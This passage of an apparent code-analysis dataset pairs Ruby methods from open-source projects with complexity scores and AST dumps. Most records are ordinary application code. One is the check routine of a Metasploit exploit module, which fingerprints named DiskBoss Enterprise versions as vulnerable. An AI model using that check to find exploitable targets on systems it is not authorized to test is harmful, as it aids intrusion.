]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"unknown object type: %{class}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"conditions\"]}]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"select\"]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"time_range_from_hash\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},\"to_a\"]}]}]}","id":"9e38cec3-a76a-4f08-b21c-d533041153f7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":669,"raw_source":"def update_fields_from_spec_networking(cs_data)\n    spec_hash = {}\n    spec      = cs_data[:spec]\n    dialog    = @dialogs.fetch_path(:dialogs, :customize)\n\n    first_adapter = Array.wrap(spec['nicSettingMap']).first\n    if first_adapter.kind_of?(Hash)\n      adapter = first_adapter['adapter']\n      spec_hash[:dns_servers]  = Array.wrap(adapter['dnsServerList']).join(', ')\n      spec_hash[:gateway]      = Array.wrap(adapter['gateway']).join(', ')\n      spec_hash[:subnet_mask]  = adapter['subnetMask'].to_s\n      spec_hash[:ip_addr]      = adapter.fetch_path('ip', 'ipAddress').to_s\n      # Combine the WINS server fields into 1 comma separated field list\n      spec_hash[:wins_servers] = [adapter['primaryWINS'], adapter['secondaryWINS']].collect { |s| s.presence }.compact.join(', ')\n    end\n\n    # In Linux, DNS server settings are global, not per adapter\n    spec_hash[:dns_servers]  = Array.wrap(spec.fetch_path('globalIPSettings', 'dnsServerList')).join(', ') if spec_hash[:dns_servers].blank?\n    spec_hash[:dns_suffixes] = Array.wrap(spec.fetch_path('globalIPSettings', 'dnsSuffixList')).join(', ')\n\n    spec_hash[:addr_mode] = spec_hash[:ip_addr].blank? ? 'dhcp' : 'static'\n\n    spec_hash.each { |k, v| set_customization_field_from_spec(v, k, dialog) }\n  end","complexity_score":64.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_fields_from_spec_networking\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cs_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"spec_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"spec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dialogs\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"dialogs\"]},{\"type\":\"sym\",\"children\":[\"customize\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nicSettingMap\"]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_adapter\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"adapter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dns_servers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dnsServerList\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gateway\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"gateway\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subnet_mask\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"subnetMask\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ip_addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"fetch_path\",{\"type\":\"str\",\"children\":[\"ip\"]},{\"type\":\"str\",\"children\":[\"ipAddress\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"wins_servers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"primaryWINS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"secondaryWINS\"]}]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"presence\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dns_servers\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dns_servers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"fetch_path\",{\"type\":\"str\",\"children\":[\"globalIPSettings\"]},{\"type\":\"str\",\"children\":[\"dnsServerList\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dns_suffixes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"fetch_path\",{\"type\":\"str\",\"children\":[\"globalIPSettings\"]},{\"type\":\"str\",\"children\":[\"dnsSuffixList\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"addr_mode\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip_addr\"]}]},\"blank?\"]},{\"type\":\"str\",\"children\":[\"dhcp\"]},{\"type\":\"str\",\"children\":[\"static\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_hash\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"set_customization_field_from_spec\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"dialog\"]}]}]}]}]}","id":"76551aa4-d696-46fe-8dde-48d46deedd5d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/param_helpers.rb","start_line":3,"raw_source":"def private_message?\n    return true if callback_query_params?\n\n    params.dig(:message, :chat, :type) == 'private'\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"private_message?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callback_query_params?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"chat\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"private\"]}]}]}]}","id":"1fa9eca0-b7f0-44d5-b538-6e33f5aeae7b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/querying.rb","start_line":116,"raw_source":"def async_count_by_sql(sql)\n      with_connection do |c|\n        c.select_value(sanitize_sql(sql), \"#{name} Count\", async: true).then(&:to_i)\n      end\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"async_count_by_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"select_value\",{\"type\":\"send\",\"children\":[null,\"sanitize_sql\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" Count\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"then\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]}]}","id":"4f5f24b9-dd22-444d-a603-6b42f9432e73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/appearances_helper.rb","start_line":95,"raw_source":"def brand_profile_image_guidelines\n    markdown_field(current_appearance, :profile_image_guidelines)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"brand_profile_image_guidelines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"markdown_field\",{\"type\":\"send\",\"children\":[null,\"current_appearance\"]},{\"type\":\"sym\",\"children\":[\"profile_image_guidelines\"]}]}]}","id":"bdf0f51f-c2ae-40cf-871e-60ea5762ed8f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":563,"raw_source":"def test_should_calculate_grouped_by_function_with_table_alias\n    c = Company.group(\"UPPER(companies.#{QUOTED_TYPE})\").count(:all)\n    assert_equal 2, c[nil]\n    assert_equal 1, c[\"DEPENDENTFIRM\"]\n    assert_equal 5, c[\"CLIENT\"]\n    assert_equal 3, c[\"FIRM\"]\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_calculate_grouped_by_function_with_table_alias\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPPER(companies.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTED_TYPE\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"count\",{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPENDENTFIRM\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLIENT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FIRM\"]}]}]}]}]}","id":"57f517ee-c2c1-494e-bb47-9a22e4f5e72a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/agnostic_token_revocation_service.rb","start_line":115,"raw_source":"def handle_feed_token\n      return error('Feed Token not found') unless revocable\n\n      if user_has_group_membership?(revocable)\n        current_token = revocable.feed_token\n\n        response = token.revoke!(current_user)\n\n        # Always validate that, if we're returning token info, it\n        # has been successfully revoked. Feed tokens can only be rotated\n        # so we also check that the old and new value are different.\n        if response.success? && !ActiveSupport::SecurityUtils.secure_compare(current_token, revocable.reset.feed_token)\n          return success(revocable, 'FeedToken', api_entity: 'UserSafe')\n        end\n      end\n\n      # If we get here the feed token exists but either:\n      #  - the user didn't belong to the group or descendants\n      #  - rotation failed for some reason\n      error('Feed token revocation failed')\n    end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_feed_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Feed Token not found\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_has_group_membership?\",{\"type\":\"send\",\"children\":[null,\"revocable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"feed_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"revoke!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"current_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"reset\"]},\"feed_token\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[null,\"revocable\"]},{\"type\":\"str\",\"children\":[\"FeedToken\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_entity\"]},{\"type\":\"str\",\"children\":[\"UserSafe\"]}]}]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Feed token revocation failed\"]}]}]}]}","id":"5ac4cd43-9dd0-463c-bfbf-3824766cbec0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat_sdk/message.rb","start_line":182,"raw_source":"def stream(raw: nil)\n      return false if !message.streaming || !raw\n\n      Chat::UpdateMessage.call(\n        guardian: guardian,\n        params: {\n          message_id: message.id,\n          message: message.message + raw,\n        },\n        options: {\n          strip_whitespaces: false,\n        },\n      ) { on_failure { raise \"Unexpected error\" } }\n\n      message\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stream\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"raw\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"streaming\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UpdateMessage\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"message\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_whitespaces\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Unexpected error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"message\"]}]}]}","id":"be5b2fb1-81de-42e1-89c9-450057f4a548"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/diskboss_get_bof.rb","start_line":85,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/'\n    )\n\n    if res && res.code == 200\n      if res.body =~ /DiskBoss Enterprise v(7\\.4\\.28|7\\.5\\.12|8\\.2\\.14)/\n        return Exploit::CheckCode::Vulnerable\n      elsif res.body =~ /DiskBoss Enterprise/\n        return Exploit::CheckCode::Detected\n      end\n    else\n      vprint_error('Unable to determine due to a HTTP connection timeout')\n      return Exploit::CheckCode::Unknown\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":12.53,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"DiskBoss Enterprise v(7\\\\.4\\\\.28|7\\\\.5\\\\.12|8\\\\.2\\\\.14)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"DiskBoss Enterprise\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to determine due to a HTTP connection timeout\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"12231545-ec3a-496c-a6bc-71c8b8c30dfb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/mention_resolve_worker.rb","start_line":30,"raw_source":"def account_from_uri(uri)\n    ActivityPub::TagManager.instance.uri_to_resource(uri, Account)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_from_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_to_resource\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"const\",\"children\":[null,\"Account\"]}]}]}","id":"c5d69dcd-9599-4a79-b9e3-3be397544839"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/svg_sprite.rb","start_line":388,"raw_source":"def self.custom_svgs(theme_id)\n    plugin_svgs.merge(theme_svgs(theme_id))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"custom_svgs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_svgs\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"theme_svgs\",{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]}]}","id":"504f78f9-92b6-494e-b100-9754f1889d1e"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20210412185444_resave_all_comment_mentioned_comments.rb","start_line":3,"raw_source":"def run\n      # Resave all Comments that previously relied upon the `.comment-mentioned-user` CSS,\n      # which was renamed in https://github.com/forem/forem/pull/13263 to `.mentioned-user`.\n      Comment.find_each(&:save)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]}]}]}]}","id":"2a44df89-4e83-44a6-83f1-f29bd17b6ac0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/package_file.rb","start_line":212,"raw_source":"def ensure_unique_conan_file_name\n      return unless conan_file_metadatum && conan_file_metadatum.recipe_revision_id.present?\n\n      return unless self.class.installable.where(\n        package_id: package_id,\n        file_name: file_name,\n        packages_conan_file_metadata: {\n          recipe_revision_id: conan_file_metadatum.recipe_revision_id,\n          package_reference_id: conan_file_metadatum.package_reference_id,\n          package_revision_id: conan_file_metadatum.package_revision_id\n        }\n      ).joins(:conan_file_metadatum).exists?\n\n      errors.add(:file_name, _('already exists for the given recipe revision, package reference, and package revision'))\n    end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_unique_conan_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conan_file_metadatum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conan_file_metadatum\"]},\"recipe_revision_id\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"installable\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"send\",\"children\":[null,\"package_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipe_revision_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conan_file_metadatum\"]},\"recipe_revision_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_reference_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conan_file_metadatum\"]},\"package_reference_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_revision_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conan_file_metadatum\"]},\"package_revision_id\"]}]}]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"conan_file_metadatum\"]}]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"already exists for the given recipe revision, package reference, and package revision\"]}]}]}]}]}","id":"5bad7932-fc6c-4ffb-908a-2b22f36e04e9"}
